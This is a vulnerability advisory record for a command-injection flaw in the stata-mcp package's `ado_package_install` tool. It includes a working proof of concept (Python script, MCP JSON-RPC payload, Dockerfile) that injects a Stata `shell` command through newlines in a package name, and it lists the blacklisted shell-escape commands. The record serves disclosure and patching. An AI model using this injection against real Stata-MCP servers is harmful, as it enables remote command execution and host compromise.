{"id":"CVE-2026-55071","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-55071","summary":"MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`","details":"## Stata Command Injection via Unsanitized `package` in `ado_package_install`\n\n### Summary\n\nThe `ado_package_install` MCP tool in `stata-mcp` concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the `package` argument to inject arbitrary Stata commands. Because Stata supports a `shell` escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default `all` profile, so no non-default configuration is required. Base CVSS score is **8.4 (High)**.\n\n### Details\n\nThe vulnerability originates in `SSC_Install.install()`:\n\n```python\n# src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:14-16\ndef install(self, package: str) -> str:\n    install_command = f\"ssc install {package}{self.REPLACE_MESSAGE}\"\n    runner_result = self.controller.run(install_command)\n```\n\nThe `package` parameter is interpolated into an f-string with no allowlist check, newline rejection, or quoting. The resulting command string is forwarded to the Stata interpreter verbatim:\n\n```python\n# src/stata_mcp/stata/stata_controller/controller.py:98-99\n# Send the command\nself.child.sendline(command)\n```\n\n`pexpect.sendline()` writes the full multi-line string to the Stata REPL, which executes each line as a separate Stata command. Because Stata's `shell` (and `!`) commands execute an OS shell command, a newline-delimited payload results in OS command execution.\n\nThe full source-to-sink data flow is:\n\n1. **Exposure** — `src/stata_mcp/mcp_servers.py:626-632`: `_TOOL_REGISTRY` registers `ado_package_install` in the `all` profile.\n2. **Default activation** — `src/stata_mcp/cli/_handlers.py:295-300`: when no `--core`/`--all` flag is given the profile defaults to `all`, so the tool is always enabled.\n3. **Propagation** — `src/stata_mcp/mcp_servers.py:308-349`: the MCP argument `package` is passed to `installer(...).install(*args)` without validation.\n4. **Sink construction** — `src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:15`: `package` is interpolated into `install_command`.\n5. **Delivery** — `src/stata_mcp/stata/stata_controller/controller.py:99`: `self.child.sendline(command)` sends the attacker-influenced string to Stata.\n\nA guard/blacklist (`src/stata_mcp/guard/blacklist.py:41-60`) registers `shell`, `!`, `winexec`, `unixcmd`, and similar strings as dangerous commands, but the `GuardValidator` that enforces this list is invoked **only** on the `stata_do` path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack.\n\n### PoC\n\n**Prerequisites**\n\n- Unix-like host with a configured Stata CLI, **or** use the provided Docker image which replaces the Stata binary with a minimal Python stub (`fake_stata.py`) that honours the `shell` command.\n\n**Container-based reproduction (no Stata license required)**\n\n```bash\n# Build (run from the repository root)\ndocker build -t stata-mcp-poc-001 \\\n    -f vuln-001/Dockerfile \\\n    reports/pypiAi_828_SepineTam__stata-mcp/\n\n# Run\ndocker run --rm stata-mcp-poc-001\n```\n\n**Direct Python trigger (unmodified source)**\n\n```python\nimport os\nfrom stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install\n\nMARKER = \"/tmp/stata_mcp_ado_poc\"\nPAYLOAD = f\"outreg2\\nshell touch {MARKER}\\n//\"\n\ninstaller = SSC_Install(\"/usr/local/bin/stata\", is_replace=True, timeout=10)\ninstaller.install(PAYLOAD)\n\nassert os.path.exists(MARKER), \"RCE not confirmed\"\nprint(\"RCE CONFIRMED — marker file created\")\n```\n\nThe payload `\"outreg2\\nshell touch /tmp/stata_mcp_ado_poc\\n//\"` is expanded by the f-string at `ssc_install.py:15` into:\n\n```\nssc install outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//, replace\n```\n\nStata executes the second line as an OS shell command. The trailing `//` comment neutralises the `, replace` suffix so Stata does not raise a syntax error.\n\n**MCP JSON-RPC trigger**\n\n```json\n{\n  \"tool\": \"ado_package_install\",\n  \"arguments\": {\n    \"source\": \"ssc\",\n    \"package\": \"outreg2\\nshell touch /tmp/stata_mcp_ado_poc\\n//\",\n    \"is_replace\": true\n  }\n}\n```\n\n**Expected output**\n\n```\n[+] PASS - RCE CONFIRMED\n[+] Marker file exists: /tmp/stata_mcp_ado_poc\n[+] The injected Stata 'shell' command was executed by the REPL.\n```\n\nPhase 2 dynamic reproduction confirmed the marker file `/tmp/stata_mcp_ado_poc` was created inside the Docker container, and `install()` returned a string containing the injected command:\n\n```\nInstallation State: False\nssc install outreg2\\r\\nshell touch /tmp/stata_mcp_ado_poc\\r\\n//, replace\n```\n\n### Impact\n\nThis is a **Code/Command Injection (RCE)** vulnerability. Any principal who can call the `ado_package_install` MCP tool or the equivalent Python API — including an AI model or agent connected to the MCP server, a local script, or a remote HTTP client if the HTTP transport is exposed — can execute arbitrary OS commands with the privileges of the user running the Stata-MCP server.\n\nBecause the tool is registered in the default `all` profile and `all` is the default active profile, **no misconfiguration by the victim is required**. All users of `stata-mcp` on the affected version who run `stata-mcp server` are impacted.\n\nConcrete consequences include: exfiltration of credentials and data accessible to the process, persistence via cron/startup entries, lateral movement within the local network, and complete compromise of the host user account.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001 dynamic reproduction\n# Build context must be the parent directory:\n#   docker build -t stata-mcp-poc-001 -f vuln-001/Dockerfile .\n#\n# Vulnerability: Stata Command Injection via unsanitized `package` in\n#   SSC_Install.install() (ssc_install.py:15).\n#\n# Strategy: replace the real Stata binary with a minimal Python script\n#   (fake_stata.py) that honours the 'shell <cmd>' Stata command.\n#   The vulnerable stata-mcp code is installed unmodified from the repo.\n\nFROM python:3.11-slim\n\n# Install pexpect -- the only runtime dependency required by the PoC\n# (StataController imports pexpect; all other imports are stdlib-only).\nRUN pip install --no-cache-dir pexpect==4.9.0\n\n# ------------------------------------------------------------------\n# Fake Stata binary\n# ------------------------------------------------------------------\n# Placed at /usr/local/bin/stata so StataFinder (Linux) can auto-discover\n# it and the PoC can reference it by absolute path.\nCOPY vuln-001/fake_stata.py /usr/local/bin/stata\nRUN chmod +x /usr/local/bin/stata\n\n# ------------------------------------------------------------------\n# Vulnerable package (unmodified source)\n# ------------------------------------------------------------------\nCOPY repo/src /workspace/src\nENV PYTHONPATH=/workspace/src\n\n# ------------------------------------------------------------------\n# PoC script\n# ------------------------------------------------------------------\nCOPY vuln-001/poc.py /workspace/poc.py\n\nWORKDIR /workspace\nCMD [\"python3\", \"/workspace/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Stata Command Injection via unsanitized `package` in\n`ado_package_install` (SSC path).\n\nVulnerable code:\n    ssc_install.py:15\n        install_command = f\"ssc install {package}{self.REPLACE_MESSAGE}\"\n    controller.py:99\n        self.child.sendline(command)\n\nAttack: embed a newline in `package` to inject an additional Stata command.\n    package = \"outreg2\\\\nshell touch /tmp/stata_mcp_ado_poc\\\\n//\"\n\nThe constructed command string becomes:\n    ssc install outreg2\n    shell touch /tmp/stata_mcp_ado_poc\n    //, replace\n\npexpect delivers this multi-line string verbatim to the Stata REPL via\nsendline(), causing Stata to execute 'shell touch /tmp/stata_mcp_ado_poc',\nwhich runs the OS command 'touch /tmp/stata_mcp_ado_poc'.\n\nMarker file creation confirms RCE.\n\"\"\"\nimport os\nimport sys\n\nFAKE_STATA = \"/usr/local/bin/stata\"\nMARKER_FILE = \"/tmp/stata_mcp_ado_poc\"\n# Payload: legit package name, then injected shell command, then comment to\n# neutralise the \", replace\" suffix appended by REPLACE_MESSAGE.\nPAYLOAD = f\"outreg2\\nshell touch {MARKER_FILE}\\n//\"\n\n\ndef main() -> int:\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC: Stata Command Injection via ado_package_install\")\n    print(\"=\" * 60)\n    print(f\"[*] Fake Stata binary : {FAKE_STATA}\")\n    print(f\"[*] Marker file       : {MARKER_FILE}\")\n    print(f\"[*] Payload (repr)    : {PAYLOAD!r}\")\n    print()\n\n    # Clean up any previous run.\n    if os.path.exists(MARKER_FILE):\n        os.remove(MARKER_FILE)\n        print(f\"[*] Removed pre-existing marker file.\")\n\n    # Import the vulnerable class directly -- no MCP or config layer needed.\n    # The vulnerability lives entirely in SSC_Install.install() and the\n    # StataController that sends the command to the Stata REPL.\n    from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install\n\n    print(\"[*] Instantiating SSC_Install with fake Stata binary...\")\n    installer = SSC_Install(FAKE_STATA, is_replace=True, timeout=10)\n\n    print(f\"[*] Calling install({PAYLOAD!r}) ...\")\n    try:\n        result = installer.install(PAYLOAD)\n        print(f\"[*] install() returned: {result[:200]!r}\")\n    except Exception as exc:\n        # A RuntimeError from StataController is acceptable; the shell command\n        # may have already executed before the error is detected.\n        print(f\"[!] install() raised (may be expected): {type(exc).__name__}: {exc}\")\n\n    print()\n\n    # --- Verdict ---\n    if os.path.exists(MARKER_FILE):\n        print(\"[+] PASS - RCE CONFIRMED\")\n        print(f\"[+] Marker file exists: {MARKER_FILE}\")\n        print(\"[+] The injected Stata 'shell' command was executed by the REPL.\")\n        print(\"[+] Constructed command delivered via sendline():\")\n        print(\"[+]   ssc install outreg2\")\n        print(f\"[+]   shell touch {MARKER_FILE}  <-- OS command executed here\")\n        print(\"[+]   //\")\n        return 0\n    else:\n        print(\"[-] FAIL - Marker file not found.\")\n        print(\"[-] The injected shell command did not produce the expected artefact.\")\n        return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```","published":"2026-08-12T19:23:38Z","modified":"2026-08-12T19:30:12.203133416Z","cvss":{"score":8.4,"severity":"HIGH","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"stata-mcp","fixedVersion":"1.19.0"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/SepineTam/mcp-for-stata/security/advisories/GHSA-49m4-vp58-wgc9"},{"type":"PACKAGE","url":"https://github.com/SepineTam/mcp-for-stata"},{"type":"WEB","url":"https://github.com/SepineTam/mcp-for-stata/releases/tag/v1.19.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T19:30:12.203133416Z"}}